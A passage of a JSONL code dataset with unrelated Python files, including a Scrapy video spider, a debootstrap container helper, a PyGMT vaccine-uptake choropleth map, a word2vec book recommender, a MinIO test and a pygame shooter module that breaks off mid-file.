{"seq_id":"20546016011","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport xlrd\nfrom scrapy.http import Request\nimport base64\nimport re\nfrom ..items import MiaoPaiItem\nimport random\nimport time\n\n# data_arr = []\n#\n# with xlrd.open_workbook(r'C:\\Users\\zc-yy\\Desktop\\2.xlsx') as book:\n#     table = book.sheet_by_name('zhishi')\n#     row_count = table.nrows\n#     for row in range(1, row_count):\n#         trdata = table.row_values(row)\n#         if 'http://www.miaopai.com/'in trdata[0]:\n#             data_arr.append(trdata[0])\n#         elif 'https://www.miaopai.com/'in trdata[0]:\n#             data_arr.append(trdata[0])\n\n# print(data_arr)\n# print(len(data_arr))\n\n\nclass MiaopaiSpider(scrapy.Spider):\n    name = 'miaopai'\n    allowed_domains = ['www.miaopai.com']\n\n    # start_urls = ['http://www.miaopai.com/']\n\n    # def __init__(self):\n    #     self.browser = webdriver.Chrome(executable_path='F:/chromedriver.exe')\n    #     super(MiaopaiSpider, self).__init__()\n    #     dispatcher.connect(self.spider_closed, signals.spider_closed)\n    #\n    # def spider_closed(self, spider):\n    #     print('spider_closed')\n    #     self.browser.quit()\n\n    default_header = {\n        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3371.0 Safari/537.36'\n\n    }\n\n    def start_requests(self):\n        for i in data_arr:\n            yield Request(url=i, method='GET', headers=self.default_header, encoding='utf-8', callback=self.parse)\n\n    def parse(self, response):\n        if response:\n            channel_id = '知识类'\n            # print('channel_id------------>' + channel_id)\n\n            _s = random.sample([random.randint(1, 100000000000)], 1)\n            _t = int(round(time.time() * 1000))\n            i_id = _s[0] + _t\n\n            media_name = response.xpath(\n                \"//div[@class='personalAbout']/div[@class='personalData']/p[@class='personalDataN']/a/text()\").extract_first()\n            media_id = base64.b64encode(str(media_name).encode('utf-8')).decode()\n            # print('media_name------------>' + media_name)\n            # print('media_id-------------->' + media_id)\n\n            video_id = str(response.url[28:]).replace('__.htm', '')\n            # print('video_id--------------->' + video_id)\n            video_title = response.xpath(\"//div[@class='viedoAbout']/p/text()\").extract_first()\n            # print('video_title------------->' + video_title)\n\n            count = response.xpath(\"//span[@class='red']/text()\").extract_first()\n            # print(count)\n            re_list = re.findall(r'\\d*', count)\n            play_count = re_list[0] + re_list[2]\n            if '万' in count:\n                play_count = int(play_count) * 1000\n            else:\n                play_count = int(play_count)\n            # print(play_count)\n\n            duration = response.xpath(\"//b[@class='total']/text()\").extract_first()\n            # print(duration)\n            _d = re.findall(r'\\d*', duration)\n            video_duration = str(int(_d[0]) * 60 + int(_d[2]))\n            # print('video_duration---------->' + video_duration)\n\n            # print(response.url)\n\n            video_cover = response.xpath(\n                \"//div[@class='video']/div[@class='MIAOPAI_player']/div[@class='video-player']/video[@class='video']/@ poster\").extract_first()\n            # print(video_cover)\n\n            width = response.xpath(\"//div[@class='video']/div[@class='MIAOPAI_player']/@ style\").extract_first()\n            video_width = re.findall(r'\\d*', width)[6]\n            # print(video_width)\n\n            height = response.xpath(\n                \"//div[@class='video']/div[@class='MIAOPAI_player']/div[@class='video-player']/@ style\").extract_first()\n            video_height = re.findall(r'\\d*', height)[16]\n            # print(video_height)\n\n            item = MiaoPaiItem()\n            item['channel_id'] = channel_id\n            item['media_id'] = media_id\n            item['media_name'] = media_name\n            item['video_id'] = video_id\n            item['video_title'] = video_title\n            item['play_count'] = play_count\n            item['video_duration'] = video_duration\n            item['video_url'] = response.url\n            item['video_cover'] = video_cover\n            item['source'] = 7\n            item['status'] = 0\n            item['meta_data'] = None\n            item['i_id'] = i_id\n            item['video_width'] = video_width\n            item['video_height'] = video_height\n            item['play_url'] = 'changeable'\n            yield item\n            # 秒拍的source为7\n","repo_name":"marvin9002/spiders","sub_path":"jike_app/spiders/miaopai.py","file_name":"miaopai.py","file_ext":"py","file_size_in_byte":4555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"22090901673","text":"# -*- mode: python ; coding: utf-8 -*-\n\nblock_cipher = None\n\n\na = Analysis(['RecommendedBooksScraper.py'],\n             pathex=['C:\\\\UserData\\\\z003x99j\\\\Documents\\\\Code projects\\\\Personal\\\\Goodreads WebScraper'],\n             binaries=[],\n             datas=[],\n             hiddenimports=['requests'],\n             hookspath=['.'],\n             runtime_hooks=[],\n             excludes=[],\n             win_no_prefer_redirects=False,\n             win_private_assemblies=False,\n             cipher=block_cipher,\n             noarchive=False)\npyz = PYZ(a.pure, a.zipped_data,\n             cipher=block_cipher)\nexe = EXE(pyz,\n          a.scripts,\n          a.binaries,\n          a.zipfiles,\n          a.datas,\n          [],\n          name='RecommendedBooksScraper',\n          debug=False,\n          bootloader_ignore_signals=False,\n          strip=False,\n          upx=False,\n          upx_exclude=[],\n          runtime_tmpdir=None,\n          console=True )\n","repo_name":"Stefan-C10/GoodReadsWebScraper","sub_path":"RecommendedBooksScraper.spec","file_name":"RecommendedBooksScraper.spec","file_ext":"spec","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"7409995330","text":"import sys\na = [int(n) for n in sys.stdin.read().splitlines()][:-1]\n\n\ndef is_prime(n):\n    if n == 1:\n        return False\n    i = 2\n    while i * i <= n:\n        if n % i == 0:\n            return False\n        i += 1\n    return True\n\n\nfor num in a:\n    flag = True\n    for i in range(3, num):\n        if is_prime(i) and is_prime(num - i):\n            flag = False\n            print('{} = {} + {}'.format(num, i, num - i))\n            break\n    if flag:\n        print(\"Goldbach's conjecture is wrong.\")\n","repo_name":"familycourt/AlgorithmStudy","sub_path":"week1/james/james_b6588.py","file_name":"james_b6588.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"}
{"seq_id":"1285831212","text":"from __future__ import division\nimport logging \nimport numpy as np\nimport numpy.linalg\nimport pickle\nimport time \n\nlogging.basicConfig(level=logging.DEBUG)\n\ndef vq3(vectors,centroids):\n    '''\n    naives python implementation\n    '''\n    nbcluster,dim = centroids.shape\n    quant = [0]*nbcluster\n    for v in vectors:\n        d = []\n        for c in centroids :\n            delta = 0 \n            for i in range(dim):\n                delta += (v[i]-c[i])**2\n            d.append(delta)\n            best_c = min(d)\n            quant[int(best_c)] += 1\n    return quant\n\ndef vq2(vectors,centroids):\n    nbcluster,dim = centroids.shape\n    r = np.zeros((nbcluster,))\n    for v in vectors:\n        delta = (v - centroids)**2\n        c =  np.sum(delta,axis=1).argmin()        \n        r[c] += 1 \n    return r\n\ndef vq(vectors,centroids):\n    diff = vectors[np.newaxis,:,:] - centroids[:,np.newaxis,:]\n    dist = np.sum(diff**2, axis=-1)\n    ind = np.argmin(dist,axis=0)\n    return np.resize(np.bincount(ind),8)\n\n\nLEARN_SIZE = 100\nEVAL_SIZE  = 696\n\nmoto, plane, centroids = [pickle.load(open(file)) \n                          for file in ['moto','plane','centroids']]\n\nlogging.info('Data loaded') \n\n\nt = time.time()\n\nlogging.info('Vector quantizaton of training data ...') \nmoto_train_data = moto.items()[0:LEARN_SIZE]\nmoto_vq_train = [vq(vectors,centroids)\n                 for file,vectors \n                 in moto_train_data]\n\nlogging.info('\\tmoto done.') \n\nplane_train_data = plane.items()[0:LEARN_SIZE]\nplane_vq_train = [vq(vectors,centroids)\n                  for file,vectors \n                  in plane_train_data ]\n\nlogging.info('\\tplane done.') \n\nnp.save('moto_vq_train' ,moto_vq_train)\nnp.save('plane_vq_train',plane_vq_train)\n\n\nlogging.info('Vector quantizaton of evaluation data ...') \n#MOTO\nmoto_eval_data = moto.items()[ LEARN_SIZE : LEARN_SIZE+EVAL_SIZE ]\n#moto_eval_data = moto.items()[ 0 : EVAL_SIZE ]\nmoto_vq_eval  = [vq(vectors,centroids) \n                 for file,vectors \n                 in moto_eval_data]\n\nlogging.info('\\tmoto done.') \n\n#PLANE \nplane_eval_data = plane.items()[ LEARN_SIZE : LEARN_SIZE+EVAL_SIZE ]\n#plane_eval_data = plane.items()[ 0 : EVAL_SIZE ]\nplane_vq_eval  = [vq(vectors,centroids) \n                  for file,vectors \n                  in plane_eval_data]\nlogging.info('\\tplane done.') \n\nlogging.info('time '+str(time.time()-t))\nnp.save('moto_vq_eval',moto_vq_eval)\nnp.save('plane_vq_eval',plane_vq_eval)\n\n","repo_name":"scampion/multimedia-machine-learning-tutorials","sub_path":"src/pics_bow/assign.py","file_name":"assign.py","file_ext":"py","file_size_in_byte":2448,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"19"}
{"seq_id":"72518559084","text":"#!/usr/bin/env python3\nimport sys\nimport tarfile\nimport argparse\nimport json\nimport os\nimport os.path\nimport tempfile\n\nfrom runner import Runtime\n\ndef snapshot_mirror(base_url, stamp):\n    if not base_url.endswith(\"/\"):\n        base_url += '/'\n    return base_url + \"archive/debian/\" + stamp + \"/\"\n\n\ndef debootstrap(runtime: Runtime, release_name, target_dir, mirror_url, arch=\"amd64\"):\n    target_dir = os.path.abspath(target_dir)\n    script_arg = [os.path.abspath(os.path.join(os.path.dirname(__file__), 'debian-bootstrap'))] if release_name == 'sid' else []\n\n    config = runtime.config_host([\n        \"env\", \"container=lxc\", \"debootstrap\",\n        \"--variant=buildd\", \"--no-check-gpg\", \"--no-merged-usr\",\n        release_name, target_dir, mirror_url\n    ] + script_arg)\n\n    dev_files = [ \"null\", \"zero\", \"full\", \"random\", \"urandom\", \"tty\" ]\n    proc_files = [ \"cmdline\" ]\n    os.makedirs(target_dir + \"/proc\", exist_ok=True)\n    os.makedirs(target_dir + \"/dev\", exist_ok=True)\n\n    config['mounts'].extend([\n        { 'destination': target_dir + \"/dev/\" + fname, 'type': 'none', 'source': '/dev/' + fname, 'options': ['bind'] }\n        for fname in dev_files\n    ])\n    config['mounts'].extend([\n        { 'destination': target_dir + \"/proc/\" + fname, 'type': 'none', 'source': '/proc/' + fname, 'options': ['bind'] }\n        for fname in proc_files\n    ])\n    runtime.spawn(config)\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(description=\"Test building the debootstrap environment for building a package spec\")\n    parser.add_argument(\"spec\", metavar=\"SPEC\", help=\"Path to a package spec tarball\")\n    parser.add_argument(\"--tmp-dir\", metavar=\"DIR\", help=\"Location of a temporary directory used for temporary artifacts\", default=\"/tmp/debootstrap\")\n    parser.add_argument(\"--mirror\", metavar=\"URL\", help=\"URL of a snapshot.debian.org mirror.\", default=\"http://snapshot.debian.org\")\n    args = parser.parse_args()\n\n    runtime = Runtime()\n\n    with tarfile.open(args.spec, 'r') as tar:\n        metadata = json.load(tar.extractfile('package.json'))\n        mirror = snapshot_mirror(args.mirror, metadata['dsc_info']['first_seen'])\n        os.makedirs(args.tmp_dir, exist_ok=True)\n        target_dir = tempfile.mkdtemp(dir=args.tmp_dir)\n        print(\"debootstrapping in\", target_dir)\n        debootstrap(runtime, metadata['dist'].split(\"-\")[0], target_dir, mirror)\n        #runtime.spawn(runtime.config_host([\"rm\", \"-rf\", \"--one-file-system\", target_dir]))\n","repo_name":"bennofs/compy-experiments","sub_path":"kitchen/h-cube/debootstrap.py","file_name":"debootstrap.py","file_ext":"py","file_size_in_byte":2484,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"19779373984","text":"# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py:hydrogen\n#     text_representation:\n#       extension: .py\n#       format_name: hydrogen\n#       format_version: '1.3'\n#       jupytext_version: 1.9.1\n#   kernelspec:\n#     display_name: Python 3 (ipykernel)\n#     language: python\n#     name: python3\n# ---\n\n# %% [markdown]\n# # Day 26 : Choropleth map\n#\n# A choropleth map is a type of thematic map in which\n# a set of pre-defined areas is colored or patterned\n# in proportion to a statistical variable that\n# represents an aggregate summary of a geographic\n# characteristic within each area, such as population\n# density or per-capita income. (Source:\n# [Wikipedia](https://en.wikipedia.org/wiki/Choropleth_map))\n\n# %%\nimport zipfile\n\nimport geopandas as gpd\nimport numpy as np\nimport pandas as pd\nimport pygmt\n\n# %% [markdown]\n# ## Get NZ COVID-19 vaccine uptake data\n#\n# Uptake is the number of people vaccinated per 1000 people,\n# i.e. 800 means 800/1000=80% vaccinated. When uptake is >95%,\n# it is reported as '>950', which is a string value that we'll\n# need to convert to a number for easier handling later.\n#\n# CSV data obtained from Ministry of Health GitHub page at\n# https://github.com/minhealthnz/nz-covid-data/tree/main/vaccine-data\n#\n# Specifically, we'll use the SA2 data up to the 24 Nov 2021 release.\n#\n# - https://github.com/minhealthnz/nz-covid-data/tree/b7c46bb5dd150f3946c6d5c309ce1f2eb0305cce/vaccine-data/2021-11-24\n\n# %%\ndf = pd.read_csv(\n    filepath_or_buffer=\"https://github.com/minhealthnz/nz-covid-data/raw/b7c46bb5dd150f3946c6d5c309ce1f2eb0305cce/vaccine-data/2021-11-24/sa2.csv\",\n    skipinitialspace=True,\n)\n\n# %%\n# Calculate 1st and 2nd dose uptake percentage\ndf[\"first_dose_uptake_percentage\"] = (\n    df[\"FIRST DOSE UPTAKE \"].str.replace(pat=\">950\", repl=\"950\").astype(int) / 10\n)\ndf[\"second_dose_uptake_percentage\"] = (\n    df[\"SECOND DOSE UPTAKE \"].str.replace(pat=\">950\", repl=\"950\").astype(int) / 10\n)\n\n# %%\n# Set SA2 id column as index\ndf = df.set_index(keys=\"SA2 CODE 2018\")  # , verify_integrity=True\n# df[df['SA2 CODE 2018'].isin(values=['170900', '236600'])]  # TODO handle duplicates\n\n# %% [markdown]\n# ## Get Stats NZ 2018 Statistical Area 2 (SA2) boundaries\n#\n# The Statsical Area 2 (SA2) geography aims to reflect\n# communities that interact together socially and economically.\n#\n# ![Statistics NZ geograhic boundaries](https://www.stats.govt.nz/assets/Uploads/_resampled/ResizedImageWzgwMCw1MjVd/Statistical-admin-geographies-image.png)\n#\n# Specifically, we'll obtain the 2018 shapefile from\n# https://datafinder.stats.govt.nz/layer/92212-statistical-area-2-2018-generalised/data/\n# Note that the SA2 standard was set in 2018 (and the boundary polygon IDs\n# still refer to 2018), and I'm not sure if using 2018 data in 2021 is\n# technically correct, but this is what we'll have to do to join the data.\n#\n# Note that the SA2 boundaries need to be manually downloaded from Stats NZ\n# (login required). Choose the default EPSG:2193 projection and 'Shapefile'\n# as the vector type.\n#\n# ![Download settings on Stats NZ datafinder](https://user-images.githubusercontent.com/23487320/143660536-a65305a1-7441-4248-985c-b372a5ce34a8.png)\n#\n# References:\n# - https://www.stats.govt.nz/consultations/review-of-2018-statistical-geographies\n# - https://www.stats.govt.nz/methods/statistical-standard-for-geographic-areas-2018\n\n# %%\n# Unzip the files\nwith zipfile.ZipFile(file=\"statsnzstatistical-area-2-2018-generalised-SHP.zip\") as z:\n    for zip_info in z.infolist():\n        z.extract(member=zip_info)\n\n# %%\n# Read SA2 shapefile, and select only rows with AREA > 0\nsa2_areas: gpd.GeoDataFrame = gpd.read_file(\n    filename=\"statistical-area-2-2018-generalised.shp\"\n)\nsa2_areas: gpd.GeoDataFrame = sa2_areas[sa2_areas.LAND_AREA_ > 0]\n\n# %%\n# Set SA2 id column as index\nsa2_areas = sa2_areas.set_index(keys=\"SA22018_V1\")\n\n# %%\n# Join two dataframes, 'SA2 CODE 2018' with 'SA22018_V1'\ngdf_vaccinated: gpd.GeoDataFrame = sa2_areas.join(other=df, how=\"right\")\ngdf_vaccinated: gpd.GeoDataFrame = (\n    gdf_vaccinated.dropna()\n)  # Remove row with unknown region\ngdf_vaccinated\n\n# %% [markdown]\n# ## Plot the map!\n#\n# There will be two map panels created using\n# [pygmt.Figure.subplot](https://www.pygmt.org/v0.5.0/api/generated/pygmt.Figure.subplot.html).\n# The left panel will be a Dorling Cartogram, and the\n# right panel will be a Choropleth map. Both use the same\n# data, but the Dorling Cartogram will scale the data points\n# based on population size, mitigating one of the main problems\n# of choropleth maps - over-representing large areas with little data.\n#\n# These two subplots will share a single title and\n# [colorbar](https://www.pygmt.org/dev/api/generated/pygmt.Figure.colorbar.html) too!\n#\n# References:\n# - https://forum.generic-mapping-tools.org/t/how-to-color-polygons-of-a-geopandas-dataframe-in-pygmt/1138/2\n# - https://forum.generic-mapping-tools.org/t/coloring-ogr-gmt-polygon-files-based-on-attribute-column/1129\n\n# %%\nfig = pygmt.Figure()\n\n# Make colour palette, from 60% to 95% at steps of 5\npygmt.makecpt(cmap=\"imola\", series=(60, 95, 5), reverse=True)\n\n# Sort data so low second dose data points are plotted on top\ndata = gdf_vaccinated[\n    [\"second_dose_uptake_percentage\", \"POPULATION \", \"geometry\"]\n].sort_values(by=\"second_dose_uptake_percentage\", ascending=False)\n\nwith pygmt.config(PS_PAGE_COLOR=\"black\", FONT=\"white\"):\n    with fig.subplot(\n        ncols=2,\n        subsize=\"20c\",\n        autolabel=\"+jBC\",  # subplot label on bottom centre\n        title=\"Aotearoa COVID-19 Vaccinations up to 24/11/2021\",\n        clearance=0,\n        frame=0,\n    ):\n        # Plot Dorling cartogram map on left\n        with fig.set_panel(\n            panel=0, fixedlabel=\"By population size (Dorling cartogram)\"\n        ):\n            fig.plot(\n                x=data.geometry.representative_point().x,\n                y=data.geometry.representative_point().y,\n                size=0.01 * np.sqrt(data[\"POPULATION \"] / np.pi),\n                color=data.second_dose_uptake_percentage,\n                cmap=True,  # use colormap from makecpt\n                style=\"cc\",  # circles of a certain size in cm\n            )\n\n        # Plot choropleth map on right\n        with fig.set_panel(panel=1, fixedlabel=\"By suburb* area (Choropleth)\"):\n            fig.plot(\n                data=data,\n                # projection=\"x1:2500000\",\n                close=True,  # force close polygons\n                cmap=True,  # use colormap from makecpt\n                color=\"+z\",  # color based on the Z column\n                aspatial=\"Z=second_dose_uptake_percentage\",  # set attribute column\n            )\n\n        # Plot color scale on top centre\n        fig.colorbar(\n            position=\"JTC+jTC+w7c+o-10c/1c+e+h+ml\",\n            frame=['x+l\"2nd dose vaccine uptake\"', r\"y+l%\"],\n        )\n\nfig.savefig(\"day26_choropleth.png\", dpi=600)\nfig.show()\n","repo_name":"weiji14/30DayMapChallenge2021","sub_path":"day26_choropleth.py","file_name":"day26_choropleth.py","file_ext":"py","file_size_in_byte":6922,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"19"}
{"seq_id":"36461990022","text":"import urllib.request\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport requests\nimport re\nfrom PIL import Image\nfrom io import BytesIO\nfrom nltk.tokenize import RegexpTokenizer\nimport nltk\nfrom gensim.models import KeyedVectors\nfrom nltk.corpus import stopwords\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom word2vecModel import Word2Vec\n\n# urllib.request.urlretrieve(\"https://raw.githubusercontent.com/ukairia777/tensorflow-nlp-tutorial/main/09.%20Word%20Embedding/dataset/data.csv\", filename=\"data.csv\")\n\ndef _removeNonAscii(s):\n    return \"\".join(i for i in s if  ord(i)<128)\n\ndef make_lower_case(text):\n    return text.lower()\n\ndef remove_stop_words(text):\n    text = text.split()\n    stops = set(stopwords.words(\"english\"))\n    text = [w for w in text if not w in stops]\n    text = \" \".join(text)\n    return text\n\ndef remove_html(text):\n    html_pattern = re.compile('<.*?>')\n    return html_pattern.sub(r'', text)\n\ndef remove_punctuation(text):\n    tokenizer = RegexpTokenizer(r'[a-zA-Z]+')\n    text = tokenizer.tokenize(text)\n    text = \" \".join(text)\n    return text\n\ndef get_document_vectors(document_list):\n    document_embedding_list = []\n    # 각 문서에 대해서\n    index = 0\n    index_array=[]\n    for line in document_list:\n        doc2vec = None\n        count = 0\n        for word in line.split():\n            if word in word2vec_model.wv.key_to_index:\n                count += 1\n                # 해당 문서에 있는 모든 단어들의 벡터값을 더한다.\n                if doc2vec is None:\n                    doc2vec = word2vec_model.wv[word]\n                else:\n                    doc2vec = doc2vec + word2vec_model.wv[word]\n        if doc2vec is not None:\n            # 단어 벡터를 모두 더한 벡터의 값을 문서 길이로 나눠준다.\n            doc2vec = doc2vec / count\n            document_embedding_list.append(doc2vec)\n        else:\n            index_array.append(index)\n        index+=1\n    # 각 문서에 대한 문서 벡터 리스트를 리턴\n    return (document_embedding_list,index_array)\n\ndef recommendations(title):\n    books = df[['book_title', 'img_url']]\n    rating = 0\n    # 책의 제목을 입력하면 해당 제목의 인덱스를 리턴받아 idx에 저장.\n    indices = pd.Series(df.index, index = df['book_title']).drop_duplicates()    \n    idx = indices[title]\n    if len(idx)>1:\n        idx = indices[title][0]\n    # 입력된 책과 줄거리(document embedding)가 유사한 책 5개 선정.\n    sim_scores = list(enumerate(cosine_similarities[idx]))\n    sim_scores = sorted(sim_scores, key = lambda x: x[1], reverse = True)\n    sim_scores = sim_scores[1:10]\n    for i in sim_scores:\n        rating+=df_total.iloc[df.iloc[i[0]]['index']]['rating']\n    rating /=10\n    # 가장 유사한 책 5권의 인덱스\n    book_indices = [i[0] for i in sim_scores]\n    # 전체 데이터프레임에서 해당 인덱스의 행만 추출. 5개의 행을 가진다.\n    recommend = books.iloc[book_indices].reset_index(drop=True)\n\n    fig = plt.figure(figsize=(20, 30))\n\n    # 데이터프레임으로부터 순차적으로 이미지를 출력\n    for index, row in recommend.iterrows():\n        response = requests.get(row['img_url'])\n        img = Image.open(BytesIO(response.content))\n        fig.add_subplot(1, 10, index + 1)\n        plt.imshow(img)\n        plt.title(row['book_title'])\n    return rating\ndf = pd.read_csv(\"/opt/ml/input/code/data/books.csv\")\ndf_user = pd.read_csv(\"/opt/ml/input/code/data/users.csv\")\ndf_train =pd.read_csv(\"/opt/ml/input/code/data/train_ratings.csv\")\ndf_total =df_user.merge(df_train,on=\"user_id\")\ndf_total =df_total.merge(df,on=\"isbn\")\nidx = df[df['summary'].isna()].index\ndf = df.drop(idx)\ndf = df.reset_index(drop=False)\ndf['cleaned'] = df['summary'].apply(_removeNonAscii)\ndf['cleaned'] = df.cleaned.apply(make_lower_case)\ndf['cleaned'] = df.cleaned.apply(remove_stop_words)\ndf['cleaned'] = df.cleaned.apply(remove_punctuation)\ndf['cleaned'] = df.cleaned.apply(remove_html)\ndf['cleaned'].replace('', np.nan, inplace=True)\ndf = df[df['cleaned'].notna()]\ncorpus = []\nfor words in df['cleaned']:\n    corpus.append(words.split())\n\nword2vec_model = Word2Vec(vector_size = 300, window=5, min_count = 2, workers = -1)\nword2vec_model.build_vocab(corpus)\nword2vec_model.wv.vectors_lockf = np.ones(len(word2vec_model.wv),dtype=np.float32)\nword2vec_model.wv.intersect_word2vec_format('GoogleNews-vectors-negative300.bin.gz', lockf=1.0, binary=True)\nword2vec_model.train(corpus, total_examples = word2vec_model.corpus_count, epochs = 15)\nprint(\"training complete\")\ndocument_embedding_list,delete_array=get_document_vectors(df['cleaned'])\ndf = df.drop(delete_array)\ndf = df.reset_index(drop=True)\ncosine_similarities = cosine_similarity(document_embedding_list, document_embedding_list)\nrating = recommendations(\"The Da Vinci Code\")\nprint(rating)","repo_name":"boostcampaitech4recsys1/level1_bookratingprediction_recsys-level1-recsys-09","sub_path":"input/code/yunsung_code/word2vec.py","file_name":"word2vec.py","file_ext":"py","file_size_in_byte":4892,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"}
{"seq_id":"15170295800","text":"import urllib\nfrom unittest import TestCase\n\nimport S3Operator\n\n\nclass TestS3(TestCase):\n    def setUp(self):\n        # Set the configs according to the \"envfile-local.txt\"\n        self.s3 = S3Operator(\n            access_key='AKIAIOSFODNN7EXAMPLE',\n            secret='wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',\n            endpoint='http://s3-minio:9000'\n        )\n        self.bucket_name = 'fakebucket'\n        self.s3.delete_bucket(self.bucket_name)\n        self.s3.create_bucket_if_not_exists(self.bucket_name)\n\n    def tearDown(self):\n        self.s3.delete_bucket(self.bucket_name)\n\n    def test_upload(self):\n        result = self.s3.upload_file('./README.md', self.bucket_name, 'README.md')\n        self.assertTrue(result)\n        objects = self.s3.list_objects(self.bucket_name)\n        self.assertEqual(1, len(objects))\n        self.assertIn('README.md', objects)\n\n    def test_download(self):\n        result = self.s3.upload_file_blob('[1, 2]', self.bucket_name, 'nums.json')\n        self.assertTrue(result)\n        blob = self.s3.download_file_blob(self.bucket_name, 'nums.json')\n        self.assertEqual('[1, 2]', blob)\n\n    def test_signed_url(self):\n        self.s3.upload_file('./README.md', self.bucket_name, 'README.md')\n        url = self.s3.get_signed_url(self.bucket_name, 'README.md')\n        urlobj = urllib.parse.urlparse(url)\n        self.assertEqual(f'/{self.bucket_name}/README.md', urlobj.path)\n        params = urllib.parse.parse_qs(urlobj.query)\n        self.assertListEqual(['AWSAccessKeyId', 'Signature', 'Expires'], list(params.keys()))\n        self.assertEqual(['AKIAIOSFODNN7EXAMPLE'], params['AWSAccessKeyId'])\n","repo_name":"solomonxie/project_helper_utils","sub_path":"mock/minio/test_minio.py","file_name":"test_minio.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"3093562150","text":"import sys;\nimport pygame;\nfrom time import sleep;\n\nfrom bullet import Bullet;\nfrom alien import Alien;\n\ndef check_keydown_events(event,ai_setting,screen,ship,bullets):\n\t\"\"\"响应按键\"\"\"\n\tif event.key == pygame.K_RIGHT:\n\t#向右移动飞船\n\t\tship.moving_right = True;\n\telif event.key == pygame.K_LEFT:\n\t\t#向左移动飞船\n\t\tship.moving_left = True;\n\telif event.key == pygame.K_SPACE:\n\t\t#发射子弹\n\t\tfire_bullet(ai_setting,screen,ship,bullets);\n\telif event.key == pygame.K_q:\n\t\tsys.exit();\n\t\t\ndef check_keyup_events(event,ship):\n\t\"\"\"响应松开按键\"\"\"\n\tif event.key == pygame.K_RIGHT:\n\t\t#停止向右移动飞船\n\t\tship.moving_right = False;\n\telif event.key == pygame.K_LEFT:\n\t\t#停止向左移动飞船\n\t\tship.moving_left = False;\n\ndef check_events(ai_setting,screen,status,sb,play_button,ship,aliens,bullets):\n\t#监视键盘和鼠标事件\n\tfor event in pygame.event.get():\n\t\tif event.type == pygame.QUIT:\n\t\t\tsys.exit();\n\t\telif event.type == pygame.KEYDOWN:\n\t\t\tcheck_keydown_events(event,ai_setting,screen,ship,bullets);\n\t\telif event.type == pygame.KEYUP:\n\t\t\tcheck_keyup_events(event,ship);\n\t\telif event.type == pygame.MOUSEBUTTONDOWN:\n\t\t\tmouse_x,mouse_y = pygame.mouse.get_pos();\n\t\t\tcheck_play_button(ai_setting,screen,status,sb,ship,aliens,bullets,play_button,mouse_x,mouse_y);\n\n\ndef check_play_button(ai_setting,screen,status,sb,ship,aliens,bullets,play_button,mouse_x,mouse_y):\n\t\"\"\"在玩家点击play按钮后游戏开始\"\"\"\n\tbutton_click = play_button.rect.collidepoint(mouse_x,mouse_y);\n\tif button_click and not status.game_active:\n\t\t#重置游戏设置\n\t\tai_setting.initialize_dynamic_settings();\n\t\t\n\t\t#隐藏光标\n\t\tpygame.mouse.set_visible(False);\n\t\t\n\t\t#重置游戏统计信息\n\t\tstatus.rest_status();\n\t\tstatus.game_active = True;\n\t\t\n\t\t#清空外星人列表和子弹列表\n\t\taliens.empty();\n\t\tbullets.empty();\n\t\t\n\t\t#重置记分牌图像\n\t\tsb.prep_score();\n\t\tsb.prep_high_score();\n\t\tsb.prep_level();\n\t\tsb.prep_ship();\n\t\t\n\t\t#创建一群新的外星人，并把飞船放到屏幕底端中央\n\t\tcreate_fleet(ai_setting,screen,ship,aliens);\n\t\tship.center_ship();\n\ndef update_screen(ai_setting,screen,status,sb,ship,aliens,bullets,play_button):\n\t\"\"\"更新屏幕上的图像，并切换到新屏幕\"\"\"\n\t#每次循环都重绘屏幕\n\tscreen.fill(ai_setting.bg_color);\n\t\n\t#在飞船和外星人后面绘制所有子弹\n\tfor bullet in bullets.sprites():\n\t\tbullet.draw_bullet();\n\t\t\n\t#绘制飞船\n\tship.blitme();\n\t\n\t#绘制外星人\n\t#alien.blitme();\n\taliens.draw(screen);\n\t\n\t#显示得分\n\tsb.show_score();\n\t\n\t#如果游戏没有运行，则绘制Play按钮\n\tif not status.game_active:\n\t\tplay_button.draw_button();\n\t\n\t#让屏幕可见\n\tpygame.display.flip();\n\ndef update_bullets(ai_setting,screen,status,sb,ship,aliens,bullets):\n\t\"\"\"更新子弹位置并删除消失的子弹\"\"\"\n\tbullets.update();\n\t\t\n\t#删除已经消失的子弹\n\tfor bullet in bullets.copy():\n\t\tif bullet.rect.bottom <= 0:\n\t\t\tbullets.remove(bullet);\n\tcheck_bullet_alien_collision(ai_setting,screen,status,sb,ship,aliens,bullets);\n\t\ndef check_bullet_alien_collision(ai_setting,screen,status,sb,ship,aliens,bullets):\n\t#检查是否有子弹击中了外星人，如果有则删除相应的子弹和外星人\n\tcollisions = pygame.sprite.groupcollide(aliens,bullets,True,True); \n\tprint(len(bullets));\n\tprint(\"外星人的数量：\" + str(len(aliens)));\n\tif collisions:\n\t\t#针对一颗子弹射中多个外星人\n\t\tfor alienss in collisions.values():\n\t\t\tstatus.score += ai_setting.alien_points * len(alienss);\n\t\t\tsb.prep_score();\n\t\tcheck_high_score(status,sb);\n\t\t\n\tif len(aliens) == 0 :\n\t\t#删除现有的子弹，并新建外星人\n\t\tbullets.empty();\n\t\tai_setting.increase_speed();\n\t\tcreate_fleet(ai_setting,screen,ship,aliens);\n\t\t#提高等级\n\t\tstatus.level += 1;\n\t\tsb.prep_level();\n\ndef 